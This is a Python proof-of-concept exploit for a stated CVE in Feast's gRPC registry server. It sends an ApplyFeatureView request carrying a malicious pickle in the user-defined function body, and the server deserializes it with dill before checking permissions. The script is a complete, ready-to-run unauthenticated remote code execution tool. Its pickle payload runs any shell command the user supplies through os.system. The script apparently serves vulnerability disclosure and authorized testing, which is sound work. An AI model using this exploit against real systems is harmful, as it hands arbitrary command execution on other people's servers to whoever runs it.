#!/usr/bin/env python3
"""
CVE-2026-56121 - Feast < 0.63.0 - Unauthenticated RCE via gRPC registry server

The Feast registry gRPC server deserializes the user-defined function of an
OnDemandFeatureView with dill (a pickle superset) the moment a spec arrives:

  registry_server.py ApplyFeatureView:
      feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view)  # <-- dill.loads
      assert_permissions_to_update(resource=feature_view, ...)                       # auth AFTER

  transformation/pandas_transformation.py / python_transformation.py from_proto:
      udf = dill.loads(user_defined_function_proto.body)

`from_proto` runs BEFORE the permission check, and the shipped config is
`auth: type: no_auth`, so an unauthenticated attacker who can reach the registry
port (default 6570) achieves remote code execution by sending an ApplyFeatureView
request whose user_defined_function.body is a malicious pickle.

Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts
For authorized security testing only.
"""
import argparse
import pickle
import sys

import grpc
from feast.protos.feast.registry import RegistryServer_pb2 as rs
from feast.protos.feast.registry import RegistryServer_pb2_grpc as rs_grpc


class _Payload:
    """When unpickled (by dill.loads on the server) runs `cmd` via os.system."""
    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        import os
        return (os.system, (self.cmd,))


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-56121 Feast unauth RCE PoC")
    ap.add_argument("target", help="registry gRPC host:port, e.g. 127.0.0.1:6570")
    ap.add_argument("-c", "--cmd", default="id > /tmp/feast_pwned 2>&1",
                    help="command to run on the Feast registry host")
    ap.add_argument("--project", default="feature_repo", help="Feast project name")
    args = ap.parse_args()

    body = pickle.dumps(_Payload(args.cmd))

    req = rs.ApplyFeatureViewRequest()
    odfv = req.on_demand_feature_view
    odfv.spec.name = "pwn"
    odfv.spec.project = args.project
    odfv.spec.mode = "pandas"
    udf = odfv.spec.feature_transformation.user_defined_function
    udf.name = "pwn"
    udf.body = body          # malicious pickle -> dill.loads() executes it
    udf.body_text = "def pwn():\n    pass\n"
    udf.mode = "pandas"
    req.project = args.project

    print(f"[*] target {args.target}  cmd={args.cmd!r}")
    print(f"[*] sending ApplyFeatureView with a {len(body)}-byte malicious pickle in user_defined_function.body")
    ch = grpc.insecure_channel(args.target)
    stub = rs_grpc.RegistryServerStub(ch)
    try:
        stub.ApplyFeatureView(req, timeout=15)
        print("[+] request returned without error")
    except grpc.RpcError as e:
        # the command runs during from_proto (before/independent of the RPC outcome)
        print(f"[*] RPC status: {e.code().name} - {str(e.details())[:120]}")
    print("[+] dill.loads executed the payload server-side during from_proto.")
    print("    Verify on the target host (e.g. cat /tmp/feast_pwned).")


if __name__ == "__main__":
    sys.exit(main())